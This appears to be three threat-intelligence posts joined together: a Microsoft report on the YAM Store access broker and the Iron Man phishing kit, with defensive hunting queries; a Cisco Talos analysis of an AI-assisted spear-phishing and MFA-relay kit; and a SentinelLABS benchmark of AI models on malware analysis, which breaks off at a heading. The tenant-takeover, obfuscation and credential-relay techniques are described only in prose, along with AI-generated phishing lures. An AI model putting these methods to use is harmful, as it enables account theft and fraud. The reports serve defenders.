YAM Store is an initial access broker (IAB) that sells infrastructure using compromised or fraudulently obtained environments in providers like Microsoft and Google. The marketplace offers a variety of infrastructure based on age, subscription type, and environment types such as education (.edu) or non-profit (.org).

The YAM Store marketplace provides cybercriminals with a platform to purchase fraudulently acquired Microsoft and Google domains associated with legitimate, expired, or previously used organization numbers, allowing actors to use seemingly legitimate infrastructure and obtain workspaces at relatively low cost. Storm-3119 uses automation to identify expired environment or organization names and leverages legitimate customer information associated with them to help circumvent existing detections.

Anatomy of YAM Store operations: How Storm-3119 acquires, controls, and monetizes infrastructure

During this investigation, Microsoft uncovered a five-stage attack pipeline often used in Storm-3119’s operations. YAM Store functions as an access broker, an intermediary that hijacks Microsoft 365 and Azure for Education tenants and resells the stolen accounts, licenses, and storage as a service to downstream operations, including the phishing kits tracked as Storm-2990. The pipeline below describes the supply side of that business: how the actor acquires, controls, and monetizes compromised environments.

Stage 1 – Reconnaissance: Storm-3119 conducts automated reconnaissance of target environments. The actor uses Flask, a lightweight Python web framework, to covertly identify and profile cloud-enabled organizations. The tooling is designed to discover Microsoft 365 tenants, assess enrollment opportunities, gather licensing and Azure cloud information, and perform these activities anonymously through Tor infrastructure.

Stage 2 – Environment takeover and app-only admin panels: Once a viable environment is identified, the threat actor centralizes associated information in an actor-controlled platform used to administer compromised Microsoft 365 environments. This platform is a separate set of administrative panels (implemented in PHP, Java/Spring, and Cloudflare Workers) that lets the operator maintain, monetize, and expand access using stolen application credentials. Leveraging the compromised environment’s client secret through an application-only authentication flow, the panel performs full directory control: it resets passwords silently (without forcing a change at next sign-in), assigns education licenses, and grants privileged attributes that the actor can later monetize. Because this access is application-level rather than tied to a single user session, the resulting persistence is more durable, more scalable, and harder to detect.

Stage 3 – Storage and resource abuse: With the stolen privileged credentials, the threat actor signs in to a compromised Global Administrator account and self-provisions the PnP Management Shell service principal, which represents the actor’s application inside the compromised tenant. Through this service principal, the threat actor grants themselves broad Microsoft Graph permissions, including read and write access to directory data and AppCatalog.ReadWrite.All, along with full control over the SharePoint API. The actor then abuses the compromised tenant’s SharePoint and OneDrive as bulk hosting and converts the hijacked storage into a sellable product.

Stage 4 – Phishing and DNS infrastructure support: The threat actor maintains dedicated infrastructure to support and manage phishing operations on behalf of their customers. A custom DNS management platform enables centralized control of phishing domains, SSL certificates, and domain-routing configurations through Cloudflare.

Stage 5 – Storefront and monetization: Storm-3119 resells the hijacked accounts, licenses, and storage through an automated storefront, operating as the access broker that supplies these resources to downstream operations. Payment is accepted through Alipay, WeChat Pay, and USDT (TRC20), and the storefront supports a sub-reseller tier. Telegram is used for order notifications and buyer contact rather than as the primary sales channel.

In addition to targeting existing tenants, Storm-3119 also separately creates fraudulent organizations and supporting web presence to establish tenants on Microsoft’s platform, likely using AI-generated content and forged documentation to make the fabricated entities appear legitimate. In one case, the actor created an environment, likely using AI, named “Jewish Choice” under the guise of a nonprofit organization and associated it with jewishchoice[.]org, a domain registered only within the past several months that did not appear to represent a legitimate organization. This activity indicates that Storm-3119 likely established the website and associated domain to lend credibility to the fabricated nonprofit identity and facilitate tenant creation.

Storm-2990: The Iron Man System phishing kit

YAM Store sells its illicitly acquired infrastructure, as well as the prominent phishing kits tracked as Storm-2990, to other threat actors. The platforms are commercially licensed phishing-as-a-service (PaaS) products. They are designed to impersonate organizations across several industry verticals to steal information, including sign-in credentials (usernames, passwords) and financial data (credit card information), used to gain access to network environments.

Iron Man System’s customers purchase a subscription that provides access to the kit’s license server, with the domain hard-coded into the kit. This restriction adds a layer of obfuscation by limiting site access to paying customers. The kits allow attackers to steal money by abusing the stolen credit card information.

The Iron Man System phishing kit contains over 2,335 templates tailored to over 139 countries including Australia, Japan, India, and the United States, with the United States accounting for the most phishing templates. The phishing lures used by Iron Man System mimic various trusted brands and organizations, such as local government including authorities associated with traffic and parking fees, law enforcement, healthcare, finance, transportation, and retail. These lures are designed to trick targets into providing sensitive information. Most phishing lures used in the United States are transportation or government-related.

The phishing kits are capable of the following advanced evasion techniques to varying degrees:

• Geofencing, a technique used to restrict access to configured countries only, so only users from specific countries can access the phishing content from their web browser
• Fake CAPTCHA gates, used to prevent or block automated browsing from threat research tools by making the user click a box or execute an action
• IP address block list and allow list, used to block or allow IP addresses to prevent threat researcher interaction
• Anti-detection configuration related tosettings to evade security researcher detection
• Telegram bot configuration,including bot tokens and chat IDs for real-time phishing that enables credential exfiltration. It allows the kit operator to receive automatic notifications on their Telegram account when a target takes action on a phishing lure, including entering credentials, credit card data submission, and verification codes.

After the target provides the sensitive information (sign-in details, credit card info), the phishing kit collects it using a WebSocket, offering customers real-time victim interaction through Telegram notifications during credential harvesting. This confirms that the kit supports live, interactive phishing where the operator monitors each victim’s progress and manually controls what the victim sees next, a hallmark of sophisticated PaaS platforms. The attacker then harvests the information to use in follow-on fraudulent financial activities.

The Iron Man System phishing kit panel is predominately hosted on China-based hosting providers, with a smaller number of panels found on hosting providers in other countries. The fully featured, multi-tenant phishing kit uses the GoFrame application development framework, an open-source Go framework with roots in the Chinese developer ecosystem.

Downstream activity from Storm-2990 phishing kits

Microsoft observed downstream activity by threat actors using infrastructure affiliated with the Storm-2990 phishing kits. In analyzed cases, the actors used similar common phishing techniques, such as urgency in the message and attaching malicious links that redirect to actor-controlled infrastructure that allows these downstream threat actors to perform the following activities:

• Credential stealing: The actors use phishing pages that impersonate legitimate services to trick targets into providing credentials or other authentication information, enabling downstream actors to access compromised accounts.
• Device code phishing: In some cases, the actors abuse the device code authentication flow to trick victims into authenticating to legitimate applications, allowing downstream actors to obtain authentication tokens and access compromised accounts.
• Financial fraud: The end goal for the downstream actors is to use stolen payment data to make fraudulent purchases of high-end goods or fraudulent transactions on legitimate financial platforms.

The threat actors using the phishing kits conduct phishing campaigns at scale whether it is a missing toll payment or a traffic citation. The following screenshots show email or SMS phishing lures used in Storm-2990 phishing kits.

Mitigation and protection guidance

This interconnected network of Chinese-language phishing kit operators and developers operates as an enabling ecosystem, providing infrastructure and services that facilitate criminal activity rather than functioning as a standalone malware tool. Microsoft assesses that the ecosystem is not limited to the abuse of Microsoft services and extends to other providers.

While Microsoft notes that the identified organizations impacted by attacks stemming from Storm-3119 or Storm-2990 operations include financial, healthcare, and IT companies, the activity conducted by threat actors using these tools are common attacks that could affect any organization.

Most of the activity that stems from this phishing kit ecosystem consists of social engineering, phishing operations, and account and storage takeovers. Microsoft recommends the following to mitigate the impact of Storm-3119 and Storm-2990-related threats.

• In nearly all the cases observed by Microsoft, the phishing lures used by the Storm-2990 operators followed prescriptive scam red flags, including urgency, time-sensitive tasks such as clicking a provided link with official branding. Users should verify with the purported sender of the message or email, even when the task involves signing in to a known, secure account not provided by the link or calling the purported organization or company directly.
• Educate users about protecting personal and business information in social media, filtering unsolicited communication, identifying lures in spear-phishing emails and watering holes, and reporting reconnaissance attempts and other suspicious activities.
• Educate users about common phishing techniques. Sign-in prompts should clearly identify the application being authenticated to. As of 2021, Microsoft Azure interactions prompt the user to confirm (Cancel or Continue) that they are signing in to the app they expect, which is an option frequently missing from phishing sign-ins.
• Review our recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Configure the Microsoft Defender for Office 365 Safe Links policy to apply to internal recipients.

Hardening credentials and cloud identities is also necessary to defend against phishing attacks, which seek to gain valid credentials and access tokens. As an initial step, use passwordless solutions like passkeys and implement multifactor authentication (MFA) throughout your environment:

• Invoke the principles of least privilege and Zero Trust to significantly slow down threat actors who might have been able to gain initial access and buy time for defenders to respond. Since Storm-3119 operators have been observed obtaining Global Administrator access, implementing these principles can help lock down Global Administrator roles and who has access to specific resources.
• Use the Microsoft Authenticator app for passkeys and MFA, and complement MFA with Conditional Access policies, where sign-in requests are evaluated using additional identity-driven signals.
• Conditional Access policies can also be scoped to strengthen privileged accounts with phishing-resistant MFA.
• Your passkey and MFA policy can be further secured by only allowing MFA and passkey registrations from trusted locations and devices.
• Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

The coverage below applies to the downstream activity detected by Microsoft that was identified using Storm-2990 infrastructure.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the activity and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Threat Overview Profile: Evolving phishing threats

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about the activity discussed in this blog.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find generic activity that may have some overlap with Storm-2990-related activity. Note that these queries are not specific to Storm-2990:

Hunt for suspicious device code authentication

The following query identifies risky sign-ins using the device-code authentication flow that could indicate device-code phishing and subsequent unauthorized account access.

EntraIdSignInEvents
| where Timestamp > ago(30d)
| where AuthenticationProtocol =~ "deviceCode"
| where RiskLevelDuringSignIn in~ ("medium", "high")
or RiskLevelAggregated in~ ("medium", "high")
or RiskEventTypes_V2 != "[]"
| project Timestamp, AccountUpn, IPAddress, Country, Application, ResourceDisplayName,
AuthenticationProtocol, RiskLevelDuringSignIn, RiskLevelAggregated,
RiskEventTypes_V2, SessionId
| order by Timestamp desc

Hunt for potentially compromised accounts using multiple risk signals

The following query identifies accounts exhibiting risky authentication activity across multiple IP addresses or countries that may indicate credential compromise following phishing.

EntraIdSignInEvents
| where Timestamp > ago(30d)
| where RiskLevelDuringSignIn in~ ("medium", "high")
    or RiskLevelAggregated in~ ("medium", "high")
    or RiskEventTypes_V2 != "[]"
| summarize FirstSeen = min(Timestamp), LastSeen = max(Timestamp),
            IPAddresses = make_set(IPAddress, 20), Countries = make_set(Country, 20),
            Applications = make_set(Application, 20), RiskEvents = make_set(RiskEventTypes_V2, 20),
            SignInCount = count() by AccountUpn
| where array_length(IPAddresses) > 1 or array_length(Countries) > 1
| order by LastSeen desc

Hunt for phishing clicks followed by Defender alerts

The following query correlates email URL clicks with subsequent Defender alerts for the same user to identify potential phishing-related account compromise.

let Lookback = 30d;
let PhishClicks =
    UrlClickEvents
    | where Timestamp > ago(Lookback)
    | project ClickTime = Timestamp, AccountUpn, Url, ClickAction = ActionType;
let IdentityAlerts =
    AlertEvidence
    | where Timestamp > ago(Lookback)
    | where EntityType =~ "User"
    | project AlertTime = Timestamp, AccountUpn, AlertId, Title, Severity, DetectionSource;
PhishClicks
| join kind=inner IdentityAlerts on AccountUpn
| where AlertTime between (ClickTime .. ClickTime + 24h)
| project ClickTime, AlertTime, AccountUpn, Url, ClickAction, AlertId, Title, Severity, DetectionSource
| order by ClickTime desc

Hunt for phishing URL clicks followed by suspicious sign-ins

The following query identifies users who clicked URLs in email and subsequently generated risky sign-in activity, which may help identify credential compromise following phishing.

let Lookback = 30d;
let PhishClicks =
    UrlClickEvents
    | where Timestamp > ago(Lookback)
    | where ActionType in~ ("ClickAllowed", "ClickBlocked")
    | project ClickTime = Timestamp, AccountUpn, Url, Workload, ClickAction = ActionType;
let SuspiciousSignins =
    EntraIdSignInEvents
    | where Timestamp > ago(Lookback)
    | where RiskLevelDuringSignIn =~ "high"
        or RiskLevelAggregated =~ "high"
        or RiskEventTypes_V2 != "[]"
    | project SignInTime = Timestamp, AccountUpn, IPAddress, Country, Application,
              RiskLevelDuringSignIn, RiskLevelAggregated, RiskEventTypes_V2;
PhishClicks
| join kind=inner SuspiciousSignins on AccountUpn
| where SignInTime between (ClickTime .. ClickTime + 24h)
| project ClickTime, SignInTime, AccountUpn, Url, IPAddress, Country, Application,
          RiskLevelDuringSignIn, RiskEventTypes_V2
| order by ClickTime desc

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious activity mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

• Possible phishing with clicked/selected link and network session
• Threat Intelligence URL match with UrlClickEvents
• Correlate unfamiliar sign-in properties and atypical travel alerts
• Possible AiTM phishing attempt against Microsoft Entra ID
• Business email compromise – Mailbox rule

References

• CoGUI Phish Kit Targets Japan with Millions of Messages | Proofpoint US
• IronToll: Global Government-Impersonation PhaaS | PhishEye

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post The hidden network: Inside the phishing infrastructure ecosystem powering global cybercrime appeared first on Microsoft Security Blog.

• Cisco Talos identified an advanced persistent threat (APT) spear-phishing campaign against individuals affiliated with Taiwan research organizations. The operation leveraged legitimate public event themes and impersonated reputable academic and policy institutions to establish credibility. 
• The phishing emails exhibited highly consistent structure, rhetoric, and personalization patterns, suggesting the threat actor likely used AI-assisted content generation to rapidly customize invitation lures for different targets while maintaining a common social engineering framework. 
• Beyond traditional email phishing, the actor incorporated QR code phishing (quishing) techniques by modifying legitimate event posters with malicious QR codes, expanding the attack surface beyond email recipients to secondary victims who may encounter printed materials. 
• The campaign deployed an advanced adversary-in-the-middle (AitM) phishing framework that impersonated Google authentication pages and utilized a hybrid HTTP and WebSocket architecture to synchronize authentication workflows in real time, enabling the interception of credentials and multi-factor authentication (MFA) challenges. 
• After technical analysis of the phishing kit, Talos assesses with moderate confidence that the user interface was originally developed in Simplified Chinese and later adapted for Traditional Chinese and English. The localization architecture, Simplified Chinese default language branch, and mainland-Chinese lexical usage collectively suggest a developer whose primary working language is Simplified Chinese.

In mid-2026, Talos observed an APT spear-phishing campaign targeting Taiwan-based research organizations. The threat actor appeared to reuse legitimate or plausible public event information, then embedded a hyperlink to actor-controlled infrastructure, while the displayed URL appeared benign. Several invitation emails exhibited nearly identical syntactic structures despite discussing different geopolitical topics, suggesting the content was generated from a reusable prompt template rather than independently authored. While Talos cannot conclusively determine whether the emails were fully generated by a large language model (LLM), the campaign demonstrates strong evidence of AI-assisted content production and personalization. 

Spear-phishing mail 

Based on the phishing emails we observed, the threat actor impersonated legitimate institutions in Taiwan such as Taiwan European Union Centre, NCCU Institute of International Relations, and Taiwan Research Institute. Below is a deep analysis of the mail contents.

An email recipient contacted the organizations concerned to verify the purported senders. However, none of the organizations could confirm that the three senders were employees or representatives of the institutions named in the emails. This suggests that the threat actor fabricated the sender identities while using legitimate organizational names and publicly available event information as cover.

All three emails follow a highly consistent, three-part structure, indicating the use of a common template. The opening section provides a polished (but overly elaborate) description of the geopolitical or policy context. It relies heavily on grandiose yet vague expressions such as “the global strategic landscape,” “reshaping the great-power order,” “three-dimensional analysis,” “forward looking and in-depth analysis,” and “high intensity professional dialogue” to create an impression of academic authority and subject matter expertise. Although the language is generally fluent, the excessive use of policy jargon and abstract strategic terminology makes the content appear formulaic.

The second section is customized for the recipient and uses targeted flattery to encourage engagement. Similar phrases including “admiration,” “authoritative perspective,” “highly perceptive,” and “key practical dimensions” appear across the three messages. These compliments are broadly applicable and contain few verifiable details about the recipient’s actual work, suggesting that the actor personalized a reusable template using publicly available professional information. References to exclusive participation, reserved VIP seating, or the recipient’s supposedly unique expertise further exploit professional recognition and status to reduce suspicion.

The final section presents event logistics, including the topic, date, venue, and registration instructions. Although much of this information appears to have been copied from legitimate institutional websites or public event announcements, its accuracy does not validate the email or the sender. Instead, the actor appears to use authentic event details as a form of legitimacy laundering. The registration links embedded in the emails do not direct recipients to the legitimate event registration pages they seem to represent. For example, one hyperlink displays a legitimate-looking Google Forms URL, while its underlying href redirects the recipient to a deceptive phishing site hosted on a third-party platform. This mismatch between the visible link text and the actual destination demonstrates a deliberate attempt to conceal the phishing infrastructure and exploit the recipient’s trust in a familiar service.

Taken together, the reuse of an almost-identical narrative structure, rhetorical style, personalized flattery, institutional impersonation, and deceptive registration mechanism strongly suggests a coordinated and carefully targeted spear-phishing campaign rather than three independent invitations. The messages also exhibit characteristics consistent with AI-assisted content generation such as grammatically fluent but formulaic prose, excessive use of grandiose and abstract policy terminology, interchangeable praise, repetitive sentence patterns, and rapid customization for different recipients, institutions, and geopolitical topics. Although these linguistic indicators alone cannot conclusively prove the use of generative AI, their consistency across all three emails suggests that the threat actor likely used an AI-assisted template to produce and personalize the phishing lures at scale. The legitimate event details and visible Google Forms URLs were then combined with disguised hyperlinks leading to actor-controlled phishing pages, making the emails appear credible while concealing their actual destination. 

Quishing in the poster 

We also observed the threat actor attaching event posters to several phishing emails. While the poster designs were scraped from legitimate websites, the embedded QR codes were maliciously altered. This modification indicates a calculated physical world attack vector. The actor may have anticipated that recipients might print and display these posters on office bulletin boards, thereby tricking other individuals into scanning the malicious QR code to register for the event. By doing so, the threat actor expands their attack vector beyond traditional email phishing to include quishing (QR code phishing), and broadens their reach within the targeted entities.

Phishing kit used by UAT-11985 

Phishing page’s impersonation 

These three phishing email attacks use the same tactics, techniques, and procedures (TTPs) which include a phishing page impersonating a legitimate Google Form and appearing visually identical to the authentic service. However, aligned with the threat actor's primary objective of credential theft, the malicious form forcibly redirects the user to a spoofed Google login page.

Talos observed that the spoofed Google login panels only support Simplified Chinese (zh-CN), Traditional Chinese (zh-TW), and English locales, with region detection based on the victim's browser “navigator.languages”, strongly suggesting targeting of Chinese-speaking users.

We also observed that this phishing page revealed a hidden HTML <section> designed to simulate a successful Google authentication event. Within this structure, the threat actor embedded an iframe (ID: google-success-frame) configured to load a locally hosted asset (/google-login-assets/operation-success.html). Notably, the iframe includes the sandbox="allow-scripts" attribute. We will discuss JavaScript in the next section.

Attack summary  

The attack chain initiates when a victim clicks a malicious URL delivered via a phishing email. Upon access, the victim is presented with a pixel-perfect replica of the Google sign-in page, which covertly hosts an obfuscated JavaScript payload. Operating as an adversary in the middle (AitM), the threat actor positions their infrastructure between the victim's browser and legitimate Google authentication servers. This allows them to seamlessly forward credentials and dynamically control the victim's user interface step-by-step via a persistent WebSocket connection.

To evade detection and complicate analysis, the malicious JavaScript is embedded at the end of the HTML document and relies on advanced string rotation obfuscation. The script leverages a large, static array of Base64 encoded strings coupled with control flow obfuscation. By utilizing a while(!![]) { push/shift } shuffle loop mechanism, the array rotation is resolved dynamically at runtime, effectively thwarting automated static deobfuscation tools.

Talos’ analysis of the phishing kit's client-side JavaScript indicates, with moderate confidence, that the user interface localization was authored by a native Simplified Chinese speaker. The strongest indicator is the kit's localization architecture:  

1. The base translation object (T) is written entirely in Simplified Chinese and is directly assigned as the zh-CN locale, while the Traditional Chinese (zh-TW) and English (en) locales are derived from it at runtime via an override or merge function (v(T, {...})).  
2. This structure demonstrates that the interface was originally composed in Simplified Chinese and subsequently translated into Traditional Chinese and English, consistent with Simplified Chinese being the developer's primary working language.
3. This assessment is reinforced by lexical choices characteristic of mainland Chinese usage rather than Taiwanese, Hong Kong, or Southeast Asian conventions. For example, the text uses Simplified Chinese forms such as “账号” for “account,” whereas Traditional Chinese environments would more commonly use “帳號” or related variants. Similarly, terms such as “计算机” for “computer,” “邮箱” for “email/mailbox,” “无痕浏览窗口” for “incognito browsing window,” and “访客模式” for “guest mode” reflect terminology commonly seen in mainland-oriented Simplified Chinese software localization. In Taiwanese or Hong Kong contexts, these concepts are typically rendered with Traditional Chinese characters and often different localized wording, such as “電腦,” “電子郵件/信箱,” or “無痕式視窗.” This linguistic pattern is further supported by the ternary-fallback ordering throughout the code, which consistently places Simplified Chinese as the default branch.

Operator-driven phishing page 

Following the deobfuscation and analysis of these JavaScript payloads, Talos identified an advanced, real-time AitM phishing kit targeting Google accounts. Unlike fully automated phishing kits, this framework appears optimized for operator-driven authentication orchestration. This kit impersonates the Google sign-in interface across three locales (zh-CN, zh-TW, en) and employs a dual-channel architecture including HTTP POST and WebSocket to synchronize Google's authentication state in real time. This mechanism effectively bypasses multi-factor authentication (MFA) to harvest complete, authenticated session tokens.

The threat actor deliberately employs a split communication channel architecture to optimize both data exfiltration and real-time command and control (C2) efficiency. For the outbound data exfiltration, the threat actor utilized HTTP POST for stateless, event-driven data transmission. The phishing page actively pushes captured data to the C2 server, including initial browser fingerprints, credential and challenge submissions during user interaction, and periodic heartbeat polls to maintain synchronization. Each call completes independently.

The threat actor uses WebSocket to provide a low-latency, persistent connection. The C2 server streams real-time instructions to the phishing page via this channel, dictating exactly which MFA challenge screen to render. Cisco Talos has also recently published a report on a different phishing campaign where similar WebSocket techniques were observed in a phishing kit used by a Chinese-speaking actor. However, the strategies employed by that phishing kit differ from those in this case.

The following diagram illustrates the real-time AitM relay architecture.

At the beginning phase, the threat actor collects device and browser information, including the locale, user agent, screen dimensions, and mobile-device status. This data is sent to the actor’s HTTP C2 server through a google_login_start request. After the server creates a session, the JavaScript establishes a WebSocket connection with the actor’s C2 infrastructure and receives a snapshot containing the current session state.

The victim enters an email address or phone number into the fake Google login page. The phishing page sends the identifier to the actor’s HTTP C2 server using the google_input_identifier event. The actor’s server then relays the identifier to the real Google authentication service to verify whether the account exists and determines whether a passkey-based flow is enabled. Based on Google’s response, the actor instructs the phishing page through WebSocket state updates to display either the password-entry page or a passkey prompt.

When the victim submits a password, the phishing page sends the password, account identifier, and browser user-agent information to the actor’s HTTP C2 server through a google_login_check request. The actor’s server forwards the credentials to the real Google authentication service. If the credentials are accepted and Google requires additional authentication, the server returns the MFA challenge type and layout. The actor then advances the victim’s interface to the appropriate MFA step through a WebSocket update.

By deliberately splitting one-shot uploads with POST requests from low-latency state updates with WebSocket connection, the threat actor has engineered a seamless credential-harvesting relay. This allows the threat actor to mirror Google's dynamic authentication state in real time, ultimately achieving full account takeover without raising the victim's suspicion.

Coverage  

The following ClamAV signatures detect and block this threat:  

• Html.Phishing.UAT11985-10060614-0 

The following SNORT® rules (SIDs) detect and block this threat:   

• Snort2: 1:67198
• Snort3: 7:31

Indicators of compromise (IOCs)  

The IOCs can be found in our GitHub repository here.

Executive Summary

• SentinelLABS developed a multi-stage reverse-engineering benchmark for the latest generation of frontier models by recreating our recent investigation of fast16, a unique 2005 sabotage implant.
• Most AI benchmarks test bounded tasks. This benchmark tests whether a model can keep a malware investigation trustworthy as new evidence repeatedly invalidates its earlier conclusions.
• OpenAI’s GPT-5.6 Sol was the only publicly available model to complete the full eight-stage investigation, giving concrete shape to what ‘Frontier-class’ capabilities offer analysts. GPT-5.5, GLM-5.2, and the Opus 4.x family produced capable local analysis but could not carry it through the gradient.
• What distinguished the completed runs was project-scale recovery: withdrawing contradicted conclusions, repairing technical artifacts, and updating dependent reporting without losing the investigation.
• Senior reverse engineers remain essential. Even the strongest runs made semantic errors, accepted weak quality controls, and claimed readiness prematurely. We assess the best current use as supervised investigative agency, with human analysts defining objectives, exposing blind spots, and retaining final publication authority.

Beyond Vulnerability Discovery

Since ChatGPT arrived in late 2022, we have been bullish on what large language models could do for reverse engineering and malware analysis. The early models were useful for teaching but too rudimentary for production work; that changed with the advent of reasoning models. OpenAI’s o1-preview, in September 2024, was the first to show the kind of sustained problem-solving the work demands, and within months Sean Heelan had used o3 to find a net-new vulnerability in the Linux kernel. In cybersecurity, though, our understanding of what these models can do remains stovepiped to vulnerability discovery.

The frontier labs took on vulnerability discovery deliberately, because that competency keeps agentic code generation from quietly shipping vulnerable code at scale. OpenAI built Aardvark, since folded into Codex; Google DeepMind announced Big Sleep, available internally to its Project Zero researchers; and Anthropic followed with selective access to Mythos Preview. Concerns that these capabilities could be misused have led the labs to stricter guardrails and ‘know your customer’ style controls that limit access to specific capabilities, or to entire model variants.

OpenAI’s Daybreak initiative and its Trusted Access Program opened a dedicated variant, GPT-5.*-cyber-preview, with guardrails relaxed for cybersecurity use cases, while Anthropic’s Glasswing initiative and its Cyber Verification Program provided early access to Mythos Preview and the promise of lesser guardrails respectively. For a short period in mid-June 2026 access to the highest-end flagship models from both providers required some form of U.S. government clearance. At the time of writing, GPT 5.6 Sol is widely available, while Mythos 5 still requires clearance and access as a Glasswing partner.

The existence of this new class of models left us with an unusual task: benchmarking what these models can actually do on the work defenders care about, and assessing whether they live up to the surrounding hype. If they do, we have to reckon with what that means for malware analysis and reverse engineering, disciplines that until now have been limited mostly by how little expertise exists relative to the collective need.

A Benchmark Built From a Real Investigation

We recently published our research on fast16, a 2005 Windows toolkit built to sabotage high-precision solvers used to model nuclear-weapons behavior. The sample provided an ideal test case because its layered design punishes shallow analysis.

On the surface, svcmgmt.exe appears to be a Windows service implant with two embedded components. Their combined logic becomes visible only through a higher layer of abstraction, an encrypted Lua-driven operations framework. A kernel driver easily mistaken for a filesystem rootkit actually contains a patching engine with 101 rules, and those rules must be repurposed to identify candidate target software before an analyst can extrapolate the approximate effects of the sabotage operation. This investigation is a daunting task for human experts, and reproducing it autonomously should be considered a significant milestone for artificial intelligence.

When Vitaly Kamluk shared our discovery of fast16 at Black Hat Asia, he pointed to the failed attempts of Opus 4.6, GPT-5.4, Grok 4.2 Reasoning, Gemini 3.1 Pro, and DeepSeek Reasoner to triage the sample autonomously. At best, the models concluded fast16 was a rootkit and could not move past that assumption, converging on the same plausible but inaccurate conclusion most human reverse engineers reached on first contact.

Used instead as assistants, the models earned their keep. Opus 4.6 and GPT-5.4 compressed what was originally a three-week dedicated expert effort by Kamluk into an 8-10 hour task manageable by a less experienced reverse engineer. Autonomous investigation was out of reach when we began this work; co-intelligence was the ceiling.

Standardizing the Benchmark

We codified our reverse-engineering methodology, inspired by Rolf Rolles’ approach to statically analyzing binaries, into a skill the harness loads on /reverse, which removes prompting variability across models. Each run gives the model a sample, IDA Pro 9.3, and a sandboxed workspace with no network egress, a boundary we established with nono shell.

The model must produce fully annotated IDA databases by renaming variables, recasting data types, categorizing functions, recovering hidden components, and folding those findings back into the host-sample database.

Only after producing a gold-master IDB for approval does a run advance to walking the execution flow and detailing findings, with every claim anchored to specific addresses and artifacts so the work can be independently verified. Judging the model on a refined IDB rather than a prose report closes off the deductive shortcuts and approximations typical of LLM malware triage.

We took an ecological approach, a bounded case study that benchmarks a capability profile in a complex real-world scenario rather than feeding another general leaderboard or isolating a single narrow competency. We also deliberately tested the combination of model and harness, since agentic workflows are how practitioners actually use these systems, and most benchmarks still test models in abstraction.

Runs level up through eight stages, each introducing new artifacts and minimal prompting for the new task:

Measuring ‘Intelligence’

When Nick Fountain interviewed us for NPR’s Planet Money, he observed that fast16’s brand of sabotage amounts to epistemic warfare, an attack on the target’s confidence in its own ability to know something to be true. There is a fitting symmetry in using the same sample to examine what the frontier labs sell as intelligence, because the difficulty there is also epistemic. ‘Intelligence’ as a concept bundles many interwoven capacities, and model tiers simplistically priced as if intelligence gets cranked up with a simple knob tells us nothing about what any one offering is worth on real work.

Many of those capacities already have familiar names, and the names do finer work than a score. Take thoroughness, the completeness of a particular piece of work. An analyst who consistently applies that effort where it matters is diligent. One thorough artifact does not make a diligent analyst; diligence is the longitudinal quality, and thoroughness one of its observable expressions.

Exhaustive coverage is not diligence either. An analyst who inspects everything indiscriminately while neglecting the consequential work is being pedantic, and their effort is wasted on the broader investigation. Diligence, in short, is sustained, priority-sensitive thoroughness.

Many similar qualities sit inside what we call intelligence, and a meaningful benchmark must account for them as we would with a human analyst, by characterizing behavior across an entire investigation rather than compressing it into a rank.

We scored two different things. Local analytical quality asks whether the model made technically sensible decisions with the evidence available. Investigative horizon asks how long it preserved that quality as the scope, evidence, and reporting obligations expanded. The two are related but not the same, and the gap between them is where most models failed.

What the Runs Showed

GPT-5.5 produced long autonomous runs, sometimes grinding uninterrupted for a day or two, with results relatively consistent across reasoning-effort settings. It did meaningful, semantically conservative work refining IDBs and repeatedly rejected edits that improved a count while making the decompilation less truthful. Its weakness was aggregation. Residual cast debt, function-tree defects, or incomplete cross-component verification kept it from clearing broad evaluation gates, and it never converged its extensive work into a complete package for review. Notably, nominal effort settings and multi-agent use showed no monotonic relationship to clearance. GPT-5.5 never escaped the grind phase of level 1.

We ran a single GLM-5.2 run through a serverless deployment on Fireworks AI with a $100 budget. The run showed measured local experimentation and capable backup-based recovery, which it needed after the most severe promotion failure we observed, losing 113 embedded functions and having to restore them before working again. One run is not a characterization of the model, but it is enough to temper claims of GLM-5.2 performing at the level of the frontier completers.

Opus 4.7 and 4.8 advanced further, showing capable technical correction and evidence-responsive revision, including a strong example of converting a speculative relationship into a structural test and rejecting it. Their recurring limitation was milestone overpromotion, a familiar eagerness to convert favorable local results into readiness claims before visible defects were resolved. They required operator challenge at important quality boundaries and did not sustain closure through the full benchmark. We are not altogether certain these newer iterations are in fact performing better than the earlier Opus 4.6 for our use cases.

The common pattern across this tranche was local competence without dependable project-wide closure. These models performed many of the individual behaviors seen in the strongest runs. What they did not demonstrate was the same behavior recurring through the full eight-stage investigation.

GPT-5.6 Sol | A New Class of Contender

